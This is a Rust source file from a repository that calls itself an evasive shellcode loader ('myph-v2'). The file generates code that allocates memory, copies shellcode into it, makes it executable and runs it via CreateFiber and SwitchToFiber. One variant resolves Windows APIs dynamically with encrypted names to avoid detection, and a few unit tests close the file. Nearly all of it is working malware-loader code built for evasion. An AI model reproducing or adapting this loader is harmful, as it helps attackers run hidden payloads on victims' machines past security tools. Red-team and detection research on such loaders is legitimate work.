myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
create_fiber.rs (7322B)
1 pub fn fiber_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn fiber_const() -> String { 9 format!( 10 r#" 11 {} 12 13 #[link(name = "kernel32")] 14 extern "system" {{ 15 fn ConvertThreadToFiber(parameter: *const std::ffi::c_void) -> *mut std::ffi::c_void; 16 17 fn CreateFiber( 18 stack_size: usize, 19 start_address: *const std::ffi::c_void, 20 parameter: *const std::ffi::c_void, 21 ) -> *mut std::ffi::c_void; 22 23 fn SwitchToFiber(fiber: *const std::ffi::c_void); 24 }} 25 26 #[link(name = "ntdll")] 27 extern "system" {{ 28 fn RtlCopyMemory( 29 destination: *mut std::ffi::c_void, 30 source: *const std::ffi::c_void, 31 length: usize, 32 ); 33 }} 34 "#, 35 super::common::COMMON_MEMORY_CONSTANTS 36 ) 37 } 38 39 pub fn fiber_init() -> String { 40 String::new() 41 } 42 43 pub fn fiber_process() -> String { 44 r#" 45 unsafe { 46 let fiber_addr = ConvertThreadToFiber(ptr::null()); 47 if fiber_addr.is_null() { 48 panic!("failed"); 49 } 50 51 let addr = VirtualAlloc( 52 ptr::null_mut(), 53 shellcode.len(), 54 MEM_COMMIT | MEM_RESERVE, 55 PAGE_READWRITE, 56 ); 57 58 if addr.is_null() { 59 panic!("failed"); 60 } 61 62 RtlCopyMemory( 63 addr, 64 shellcode.as_ptr() as *const std::ffi::c_void, 65 shellcode.len(), 66 ); 67 68 let mut old_protect: u32 = PAGE_READWRITE; 69 let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 70 71 if result == 0 { 72 panic!("failed"); 73 } 74 75 let fiber = CreateFiber(0, addr, ptr::null()); 76 if fiber.is_null() { 77 panic!("failed"); 78 } 79 80 SwitchToFiber(fiber); 81 } 82 "# 83 .to_string() 84 } 85 86 fn generate_create_fiber_template(function_name: &str) -> String { 87 super::common::TechniqueTemplateBuilder::new() 88 .with_import(fiber_import()) 89 .with_const(fiber_const()) 90 .with_init(fiber_init()) 91 .with_process(fiber_process()) 92 .build(function_name) 93 } 94 95 pub fn generate_create_fiber_code(function_name: &str) -> String { 96 generate_create_fiber_template(function_name) 97 } 98 99 fn fiber_process_with_dynamic_resolver( 100 encryptor: &dyn crate::encryption::Encryptor, 101 ) -> Result<String, String> { 102 use super::dynamic_common::*; 103 104 // Generate resolvers for each function using common helpers with encryption 105 let convert_thread = convert_thread_to_fiber_resolver(encryptor)?; 106 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 107 let virtual_protect = virtual_protect_resolver(encryptor)?; 108 let create_fiber = create_fiber_resolver(encryptor)?; 109 let switch_to_fiber = switch_to_fiber_resolver(encryptor)?; 110 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 111 112 Ok(format!( 113 r#" 114 unsafe {{ 115 {convert_thread_resolver} 116 {convert_thread_cast} 117 118 let fiber_addr = convert_thread_to_fiber(ptr::null()); 119 if fiber_addr.is_null() {{ 120 panic!("failed"); 121 }} 122 123 {virtual_alloc_resolver} 124 {virtual_alloc_cast} 125 126 let addr = virtual_alloc( 127 ptr::null(), 128 shellcode.len(), 129 MEM_COMMIT | MEM_RESERVE, 130 PAGE_READWRITE, 131 ); 132 133 if addr.is_null() {{ 134 panic!("failed"); 135 }} 136 137 {rtl_copy_memory_resolver} 138 {rtl_copy_memory_cast} 139 140 rtl_copy_memory( 141 addr, 142 shellcode.as_ptr() as *const std::ffi::c_void, 143 shellcode.len(), 144 ); 145 146 {virtual_protect_resolver} 147 {virtual_protect_cast} 148 149 let mut old_protect: u32 = PAGE_READWRITE; 150 let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 151 152 if result == 0 {{ 153 panic!("failed"); 154 }} 155 156 {create_fiber_resolver} 157 {create_fiber_cast} 158 159 let fiber = create_fiber(0, addr, ptr::null()); 160 if fiber.is_null() {{ 161 panic!("failed"); 162 }} 163 164 {switch_to_fiber_resolver} 165 {switch_to_fiber_cast} 166 167 switch_to_fiber(fiber); 168 }} 169 "#, 170 convert_thread_resolver = convert_thread.resolver_code, 171 convert_thread_cast = convert_thread.cast_code, 172 virtual_alloc_resolver = virtual_alloc.resolver_code, 173 virtual_alloc_cast = virtual_alloc.cast_code, 174 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 175 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 176 virtual_protect_resolver = virtual_protect.resolver_code, 177 virtual_protect_cast = virtual_protect.cast_code, 178 create_fiber_resolver = create_fiber.resolver_code, 179 create_fiber_cast = create_fiber.cast_code, 180 switch_to_fiber_resolver = switch_to_fiber.resolver_code, 181 switch_to_fiber_cast = switch_to_fiber.cast_code, 182 )) 183 } 184 185 fn generate_create_fiber_template_with_dynamic_resolver( 186 function_name: &str, 187 _encryption_type: &str, 188 encryptor: &dyn crate::encryption::Encryptor, 189 ) -> Result<String, String> { 190 let process_code = fiber_process_with_dynamic_resolver(encryptor)?; 191 192 Ok(super::common::TechniqueTemplateBuilder::new() 193 .with_import(fiber_import()) 194 .with_const(fiber_const()) 195 .with_init(fiber_init()) 196 .with_process(process_code) 197 .build(function_name)) 198 } 199 200 pub fn generate_create_fiber_code_with_dynamic_resolver( 201 function_name: &str, 202 encryption_type: &str, 203 encryptor: &dyn crate::encryption::Encryptor, 204 ) -> String { 205 generate_create_fiber_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 206 .unwrap_or_else(|err| { 207 panic!( 208 "Failed to generate CreateFiber code with dynamic resolver (encryption: {}): {}", 209 encryption_type, err 210 ) 211 }) 212 } 213 214 pub struct CreateFiberGenerator; 215 216 impl super::trait_generator::TechniqueGenerator for CreateFiberGenerator { 217 fn generate_code(&self, _process: &str, function_name: &str) -> String { 218 generate_create_fiber_code(function_name) 219 } 220 221 fn generate_code_with_dynamic_resolver( 222 &self, 223 _process: &str, 224 function_name: &str, 225 encryption_type: &str, 226 encryptor: &dyn crate::encryption::Encryptor, 227 ) -> String { 228 generate_create_fiber_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 229 } 230 231 fn requires_process(&self) -> bool { 232 false 233 } 234 235 fn name(&self) -> &'static str { 236 "CreateFiber" 237 } 238 } 239 240 #[cfg(test)] 241 mod tests { 242 use super::*; 243 244 #[test] 245 fn test_generate_create_fiber_template_contains_all_parts() { 246 let template = generate_create_fiber_template("MyFunction"); 247 assert!(template.contains("use std::ptr")); 248 assert!(template.contains("MEM_COMMIT")); 249 assert!(template.contains("ConvertThreadToFiber")); 250 assert!(template.contains("fn MyFunction")); 251 assert!(template.contains("VirtualAlloc")); 252 } 253 254 #[test] 255 fn test_generate_create_fiber_code() { 256 let code = generate_create_fiber_code("MyRandomFunc"); 257 assert!(code.contains("fn MyRandomFunc")); 258 assert!(code.contains("ConvertThreadToFiber")); 259 assert!(code.contains("CreateFiber")); 260 } 261 }